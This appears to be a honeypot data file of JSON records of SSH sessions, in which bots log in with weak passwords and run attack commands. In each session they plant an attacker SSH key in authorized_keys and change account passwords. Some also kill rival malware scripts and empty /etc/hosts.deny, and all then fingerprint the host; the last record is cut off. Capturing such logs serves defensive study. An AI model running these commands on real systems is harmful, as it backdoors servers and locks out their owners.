{"id":"cbd5b6dc-9f75-425d-995c-e3c96f367da3","name":"thorny-humble-gannet","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":58122,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":329,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:35:53.031371+00:00","ended_at":"2026-08-27T11:35:54.476890+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2078,"events":[{"seq":1,"at":"2026-08-27T11:35:34.978652+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:35:35.306396+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:35:39.808395+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:35:40.070104+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:35:40.398267+00:00","kind":"input","latency_ms":null,"data":"echo -e \"root123\\ni4SyJSwTJM8r\\ni4SyJSwTJM8r\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:35:40.725968+00:00","kind":"input","latency_ms":null,"data":"echo \"root123\\ni4SyJSwTJM8r\\ni4SyJSwTJM8r\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:35:41.051616+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:35:41.889138+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:35:42.217457+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:35:43.477939+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:35:43.809941+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:35:44.571268+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:35:44.900743+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:35:45.373513+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:35:45.702661+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:35:46.170884+00:00","kind":"output","latency_ms":null,"data":" 11:35:46 up 7 days, 8:25, 0 user, load average: 0.06, 0.05, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:35:46.502039+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:35:47.087570+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:35:47.419268+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:35:48.049143+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:35:48.379653+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:35:48.643442+00:00","kind":"output","latency_ms":null,"data":"top - 11:35:48 up 7 days, 8:25, 0 user, load average: 0.06, 0.05, 0.06\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:35:48.973890+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:35:49.354865+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:35:49.683097+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:35:50.280608+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:35:50.613466+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:35:51.207008+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":29,"at":"2026-08-27T11:35:51.535370+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:35:52.707140+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:35:53.032301+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:35:54.379032+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin","password":"root123","method":"password","accepted":true,"tier":"other"}]} {"id":"972cfab2-cae0-46fa-8917-c5bc113c95f1","name":"crystal-civil-mallard","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":58178,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":275,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:35:38.853087+00:00","ended_at":"2026-08-27T11:35:40.500507+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2246,"events":[{"seq":1,"at":"2026-08-27T11:35:11.426665+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:35:11.701609+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:35:14.210138+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:35:15.300735+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:35:15.575802+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123123123\\nRhtFKntZDCdc\\nRhtFKntZDCdc\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:35:15.849306+00:00","kind":"input","latency_ms":null,"data":"echo \"123123123\\nRhtFKntZDCdc\\nRhtFKntZDCdc\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:35:16.123384+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:35:16.844847+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:35:17.072480+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:35:18.178645+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T11:35:18.455330+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:35:20.165482+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:35:20.443115+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:35:22.423182+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:35:22.701147+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:35:23.844742+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:35:24.119615+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:35:25.305478+00:00","kind":"output","latency_ms":null,"data":" 11:35:25 up 7 days, 8:25, 0 user, load average: 0.11, 0.1, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:35:25.579960+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:35:27.731485+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:35:28.005273+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:35:30.013408+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:35:30.289391+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:35:31.513763+00:00","kind":"output","latency_ms":null,"data":"top - 11:35:31 up 7 days, 8:25, 0 user, load average: 0.11, 0.1, 0.09\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:35:31.788666+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:35:33.075270+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:35:33.352547+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:35:34.528408+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:35:34.804332+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:35:36.487591+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":31,"at":"2026-08-27T11:35:36.762800+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:35:38.578178+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:35:38.853839+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:35:40.420778+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ubuntu","password":"123123123","method":"password","accepted":true,"tier":"other"}]} {"id":"0ee2dc75-00d8-44cb-bb80-f67c2bde8732","name":"shaded-thawing-panther","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":52936,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":304,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:35:12.681924+00:00","ended_at":"2026-08-27T11:35:14.122034+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2128,"events":[{"seq":1,"at":"2026-08-27T11:34:52.033895+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:34:52.336201+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:34:57.486577+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:34:57.926058+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:34:58.229380+00:00","kind":"input","latency_ms":null,"data":"echo \"root:uUOdmXdEOu0Q\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:34:58.532244+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:34:58.836668+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:34:59.683134+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:34:59.988127+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:35:01.366119+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:35:01.668997+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:35:03.008881+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:35:03.314941+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:35:03.943455+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:35:04.248000+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:35:05.028352+00:00","kind":"output","latency_ms":null,"data":" 11:35:05 up 7 days, 8:25, 0 user, load average: 0.28, 0.21, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:35:05.331216+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:35:05.789754+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:35:06.094763+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:35:06.357925+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:35:06.662100+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:35:07.478587+00:00","kind":"output","latency_ms":null,"data":"top - 11:35:07 up 7 days, 8:25, 0 user, load average: 0.28, 0.21, 0.31\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:35:07.783100+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:35:08.607445+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:35:08.910808+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:35:09.557227+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:35:09.858908+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:35:10.758340+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:35:11.060261+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:35:12.379094+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:35:12.682664+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:35:14.032108+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456Cc","method":"password","accepted":true,"tier":"other"}]} {"id":"179f1b43-15f9-4ddc-bfe6-fc456e9b1d7a","name":"gallant-arctic-chickadee","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59104,"username":"user14","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":457,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:34:39.408017+00:00","ended_at":"2026-08-27T11:34:40.897661+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2203,"events":[{"seq":1,"at":"2026-08-27T11:34:17.327476+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:34:17.778287+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:34:22.320627+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:34:22.839022+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:34:23.294218+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nuBeAnP6LT7Lx\\nuBeAnP6LT7Lx\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:34:23.748103+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nuBeAnP6LT7Lx\\nuBeAnP6LT7Lx\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:34:24.201869+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:34:24.958553+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:34:25.413128+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:34:26.345383+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:34:26.800459+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:34:27.987898+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:34:28.445590+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:34:29.308204+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:34:30.207513+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:34:30.877653+00:00","kind":"output","latency_ms":null,"data":" 11:34:30 up 7 days, 8:24, 0 user, load average: 0.34, 0.34, 0.28\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:34:31.338615+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:34:32.040680+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:34:32.496064+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:34:32.938209+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:34:33.394564+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:34:33.902919+00:00","kind":"output","latency_ms":null,"data":"top - 11:34:33 up 7 days, 8:24, 0 user, load average: 0.34, 0.34, 0.28\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:34:34.359728+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:34:34.995301+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:34:35.455680+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:34:36.120943+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:34:36.580710+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:34:37.457130+00:00","kind":"output","latency_ms":null,"data":"user14"},{"seq":29,"at":"2026-08-27T11:34:37.913999+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:34:38.954780+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:34:39.408791+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:34:40.757990+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user14","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"f4008271-0046-4efb-9787-d756955e2972","name":"boreal-twilight-wagtail","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":38424,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":758,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:33:58.399131+00:00","ended_at":"2026-08-27T11:33:59.737573+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-27T11:33:30.668371+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:33:31.437792+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:33:38.710848+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:33:39.176034+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:33:39.933856+00:00","kind":"input","latency_ms":null,"data":"echo \"root:9lJUCmB6nB0J\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:33:40.694082+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:33:41.451092+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:33:41.708910+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core 